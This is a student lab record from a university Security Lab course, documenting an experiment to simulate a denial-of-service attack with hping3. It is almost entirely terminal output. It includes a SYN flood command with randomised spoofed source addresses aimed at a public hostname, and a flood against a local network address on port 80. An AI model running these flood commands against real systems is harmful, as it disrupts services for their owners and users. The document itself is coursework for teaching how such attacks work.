Department of Information Technology

Semester: V
Academic Year: 2022-23
Class / Branch: TE IT
Subject: Security Lab (SL)
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EXPERIMENT NO. 10

Aim: To simulate DOS attack by using HPING and other tools

Output:

1)

```
apsit@apsit-HP-280-G3-MT:/etc/snort/rules$ sudo hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com
HPING www.hping3testsite.com (enp4s0 103.224.182.253): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
^C
--- www.hping3testsite.com hping statistic ---
4287414 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

2)

```
apeksha@apeksha-VirtualBox:~$ sudo hping3 192.168.43.24
[sudo] password for apeksha:
HPING 192.168.43.24 (enp0s3 192.168.43.24): NO FLAGS are set, 40 headers + 0 dat
a bytes
```

3)

```
apeksha@apeksha-VirtualBox: ~
apeksha@apeksha-VirtualBox:~$ hping3 192.168.43.24
[open_sockraw] socket(): Operation not permitted
[main] can't open raw socket
apeksha@apeksha-VirtualBox:~$ sudo hping3 192.168.43.24
[sudo] password for apeksha:
HPING 192.168.43.24 (enp0s3 192.168.43.24): NO FLAGS are set, 40 headers + 0 dat
a bytes
^C
--- 192.168.43.24 hping statistic ---
71 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
apeksha@apeksha-VirtualBox:~$
```

```
apeksha@apeksha-VirtualBox: ~
apeksha@apeksha-VirtualBox:~$ ping 192.168.43.24
PING 192.168.43.24 (192.168.43.24) 56(84) bytes of data.
64 bytes from 192.168.43.24: icmp_seq=1 ttl=64 time=0.022 ms
64 bytes from 192.168.43.24: icmp_seq=2 ttl=64 time=0.037 ms
64 bytes from 192.168.43.24: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 192.168.43.24: icmp_seq=4 ttl=64 time=0.022 ms
64 bytes from 192.168.43.24: icmp_seq=5 ttl=64 time=0.029 ms
64 bytes from 192.168.43.24: icmp_seq=6 ttl=64 time=0.025 ms
64 bytes from 192.168.43.24: icmp_seq=7 ttl=64 time=0.029 ms
64 bytes from 192.168.43.24: icmp_seq=8 ttl=64 time=0.053 ms
64 bytes from 192.168.43.24: icmp_seq=9 ttl=64 time=0.024 ms
64 bytes from 192.168.43.24: icmp_seq=10 ttl=64 time=0.019 ms
^C
--- 192.168.43.24 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 8999ms
rtt min/avg/max/mdev = 0.019/0.028/0.053/0.011 ms
apeksha@apeksha-VirtualBox:~$
```

4)

```
apeksha@apeksha-VirtualBox:~$ sudo hping3 192.168.43.24 --flood -p 80
HPING 192.168.43.24 (enp0s3 192.168.43.24): NO FLAGS are set, 40 headers + 0 dat
a bytes
hping in flood mode, no replies will be shown
```